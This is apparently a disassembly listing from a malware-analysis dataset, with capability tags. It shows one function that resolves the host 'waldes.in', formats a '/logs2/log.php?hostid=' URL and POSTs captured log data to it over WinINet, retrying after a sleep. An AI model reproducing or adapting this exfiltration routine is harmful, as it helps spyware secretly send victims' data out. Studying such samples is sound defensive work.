Function at 0x401550
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Resolve dns
Resolve function by parsing pe exports
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x425326
push eax
mov dword fs:[0], esp
sub esp, 0xcc8
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0x44], 2
push edi
jne 0x40193c
mov eax, dword [esi + 0x1c]
mov edx, dword [eax + 4]
lea ebx, [esi + 0x1c]
mov ecx, ebx
call edx
push str._endlog_
push esi
call fcn.00401330
xor eax, eax
add esp, 8
lea edi, [esi + 0x38]
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call fcn.004046d0
xor eax, eax
mov dword [esp + 0xcdc], eax
mov dword [edi + 8], eax
call fcn.00401960
mov eax, dword [ebx]
mov edx, dword [eax + 8]
mov ecx, ebx
call edx
cmp dword [esp + 0x20], 0
je 0x40192b
mov eax, dword [str.waldes.in]
mov ecx, dword [0x4293c8]
mov dx, word [0x4293cc]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x34], ecx
mov word [esp + 0x38], dx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40192b
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
cmp dword [edx], 0x100007f
je 0x40192b
mov eax, dword [str.Internet_Exloprer]
mov edx, dword [0x4293d8]
mov ecx, dword [0x4293d4]
mov dword [esp + 0x40], eax
mov eax, dword [0x4293dc]
mov dword [esp + 0x48], edx
lea edx, [esp + 0x3c]
push edx
mov dword [esp + 0x50], eax
lea eax, [esp + 0xd4]
push eax
mov dword [esp + 0x4c], ecx
mov cx, word [0x4293e0]
push 0x26
push 0
mov word [esp + 0x60], cx
mov dword [esp + 0x4c], 0x800
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
cmp dword [esp + 0xd0], 3
mov edi, dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x14], 0
jne 0x4016a6
mov ecx, dword [esp + 0xd8]
mov edx, dword [esp + 0xd4]
push 0
push ecx
push edx
push 3
lea eax, [esp + 0x50]
push eax
call edi
mov dword [esp + 0x14], eax
cmp dword [esp + 0xd0], 1
jne 0x4016c3
push 0
push 0
push 0
push 1
lea ecx, [esp + 0x50]
push ecx
call edi
mov dword [esp + 0x14], eax
cmp dword [esp + 0xd0], 0
jne 0x4016ec
mov edx, dword [esp + 0xd8]
mov eax, dword [esp + 0xd4]
push 0
push edx
push eax
push 0
lea ecx, [esp + 0x50]
push ecx
call edi
mov dword [esp + 0x14], eax
cmp dword [esp + 0x14], 0
je 0x40192b
lea edx, [esp + 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
push 0
add eax, 0x2ac18000
push 0x989680
adc ecx, 0xfe624e21
push ecx
push eax
call fcn.0040a800
mov edi, 0x10
cmp dword [esi + 0x64], edi
jb 0x401732
mov esi, dword [esi + 0x50]
jmp 0x401735
add esi, 0x50
push eax
push esi
lea edx, [esp + 0x8d8]
push str._logs2_log.php_hostid_stm_d
push edx
call fcn.00402440
mov esi, dword [ebp + 8]
add esp, 0x10
cmp dword [esi + 0x14], 0
je 0x4017b6
push 0x429404
lea ecx, [esp + 0x58]
call fcn.00401d50
push esi
push eax
lea eax, [esp + 0xa4]
push eax
mov byte [esp + 0xce8], 1
call fcn.00402460
add esp, 0xc
cmp dword [eax + 0x18], edi
jb 0x401787
mov eax, dword [eax + 4]
jmp 0x40178a
add eax, 4
push eax
lea ecx, [esp + 0x8d4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x9c]
call fcn.00408e30
lea ecx, [esp + 0x54]
mov byte [esp + 0xcdc], 0
call fcn.00408e30
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x84]
push eax
mov byte [esp + 0x1b], 0
mov dword [esp + 0x2c], 5
call fcn.0040a420
add esp, 8
mov edx, dword [esp + 0x14]
push 0
push 0
push 3
push 0
push 0
push 0x50
lea ecx, [esp + 0x44]
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [esp + 0x38], esi
test esi, esi
je 0x4018f3
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8e4]
push eax
push str.POST
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x4018ec
mov edx, dword [esp + 0x1c]
mov ecx, 0xc
mov esi, str.Content_Type:_application_x_www_form_urlencoded_r_n
lea edi, [esp + 0x9c]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x20]
push ecx
push edx
lea eax, [esp + 0xa4]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [esp + 0xa8]
push ecx
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4018e1
xor eax, eax
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x59], eax
mov dword [esp + 0x5d], eax
mov dword [esp + 0x61], eax
mov dword [esp + 0x65], eax
mov dword [esp + 0x69], eax
mov dword [esp + 0x6d], eax
mov dword [esp + 0x71], eax
mov dword [esp + 0x75], eax
mov dword [esp + 0x2c], eax
push 0x20
lea eax, [esp + 0x5c]
push eax
push ebx
mov byte [esp + 0x64], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4018e1
cmp dword [esp + 0x98], 0x10
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x84]
mov byte [esp + ecx + 0x54], 0
jae 0x4018ce
lea eax, [esp + 0x84]
lea edx, [esp + 0x54]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
sete byte [esp + 0x13]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [esp + 0x38]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
dec dword [esp + 0x24]
cmp byte [esp + 0x13], 0
jne 0x401914
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x24], 0
jg 0x4017d8
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [esp + 0x80]
call fcn.00408e30
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x40193c
push eax
call fcn.00416320
add esp, 4
mov ecx, dword [esp + 0xcd4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4